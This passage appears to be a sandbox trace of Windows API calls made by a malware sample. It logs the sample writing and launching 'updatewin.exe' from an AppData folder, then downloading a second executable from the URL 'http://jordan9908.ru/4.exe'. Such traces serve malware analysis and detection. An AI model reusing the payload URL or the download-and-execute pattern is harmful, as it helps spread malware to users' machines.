lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0059.675] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x860d6d0, lpdwBufferLength=0x860d710, lpdwIndex=0x0 | out: lpBuffer=0x860d6d0*, lpdwBufferLength=0x860d710*=0x4, lpdwIndex=0x0) returned 1 [0059.675] lstrcpyA (in: lpString1=0x2aee20, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238" [0059.675] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238", pMore="updatewin.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe") returned 1 [0059.676] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c0 [0059.676] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.676] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.679] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.682] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.682] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.683] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.683] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.685] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.686] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.688] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.688] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.692] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.692] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.717] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.717] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.725] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.726] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.728] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.728] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.731] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.735] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0059.742] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0059.742] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2000) returned 1 [0059.974] WriteFile (in: hFile=0x4c0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2000, lpOverlapped=0x0) returned 1 [0059.975] CloseHandle (hObject=0x4c0) returned 1 [0059.979] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0059.983] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0059.983] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\updatewin.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0060.092] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x897d920, cbMultiByte=-1, lpWideCharStr=0x8949128, cchWideChar=1054 | out: lpWideCharStr="http://jordan9908.ru/4.exe") returned 27 [0060.092] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://jordan9908.ru/4.exe", cchWideChar=-1, lpMultiByteStr=0x8948018, cbMultiByte=2078, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://jordan9908.ru/4.exe", lpUsedDefaultChar=0x0) returned 27 [0060.092] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://jordan9908.ru/4.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.145] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x860d6d0, lpdwBufferLength=0x860d710, lpdwIndex=0x0 | out: lpBuffer=0x860d6d0*, lpdwBufferLength=0x860d710*=0x4, lpdwIndex=0x0) returned 1 [0060.145] lstrcpyA (in: lpString1=0x2aee20, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238" [0060.145] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238", pMore="4.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\4.exe") returned 1 [0060.145] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\4.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\ac0fced0-d42a-4728-a9f2-bdfd4590c238\\4.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b0 [0060.148] SetFilePointer (in: hFile=0x4b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.148] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.150] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.151] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.151] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.151] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.152] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.152] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.185] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.185] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.187] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.187] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.190] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.190] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.193] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.193] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.195] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.196] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.223] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.224] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.225] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.225] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.229] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.229] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.231] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.231] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.234] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.236] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.237] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.238] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.265] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.268] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.269] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.271] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.271] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.274] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.274] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.276] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.276] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.280] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.280] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.305] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.305] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.307] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.308] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.310] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.310] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.314] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.314] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.316] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.317] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.321] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.321] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.343] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.344] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.358] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.358] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x860d6d8 | out: lpBuffer=0x860d778*, lpdwNumberOfBytesRead=0x860d6d8*=0x2800) returned 1 [0060.358] WriteFile (in: hFile=0x4b0, lpBuffer=0x860d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x860d6dc, lpOverlapped=0x0 | out: lpBuffer=0x860d778*, lpNumberOfBytesWritten=0x860d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0060.359] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x860d778, dwNumberOfBytesToRead=0x2800, 